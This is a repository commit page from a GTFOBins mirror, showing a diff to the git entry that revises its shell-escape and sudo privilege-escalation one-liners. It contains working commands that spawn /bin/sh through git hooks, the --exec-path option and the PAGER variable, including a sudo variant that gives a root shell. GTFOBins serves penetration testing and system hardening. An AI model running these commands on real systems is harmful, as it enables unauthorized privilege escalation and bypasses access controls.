public-mirrors/GTFOBins.github.io
1
0
Fork 0
mirror of https://github.com/GTFOBins/GTFOBins.github.io synced 2024-12-25 14:30:07 +01:00
Code Issues Projects Releases Wiki Activity

Make the new Git shell follow the conventions

Browse Source
This commit is contained in:
Andrea Cardaci 2020-10-03 11:54:42 +02:00
parent ef2ebf9d30
commit 87a0bb6a9f
1 changed files with 8 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

14
_gtfobins/git.md
View File

@ -13,6 +13,10 @@ functions:
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
git -C "$TF" commit --allow-empty -m x
- code: |
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
git "--exec-path=$TF" x
file-read:
- description: The read file content is displayed in `diff` style output format.
code: |
@ -35,12 +39,10 @@ functions:
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
sudo git -C "$TF" commit --allow-empty -m x
- description: If file creation is allowed, it can be used to change Git path
code: |
mkdir /tmp/git
echo '/bin/bash' > /tmp/git/git-escalation
chmod +x /tmp/git/git-escalation
sudo git --exec-path=/tmp/git escalation
- code: |
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
sudo git "--exec-path=$TF" x
limited-suid:
- code: PAGER='sh -c "exec sh 0<&1"' ./git -p help
---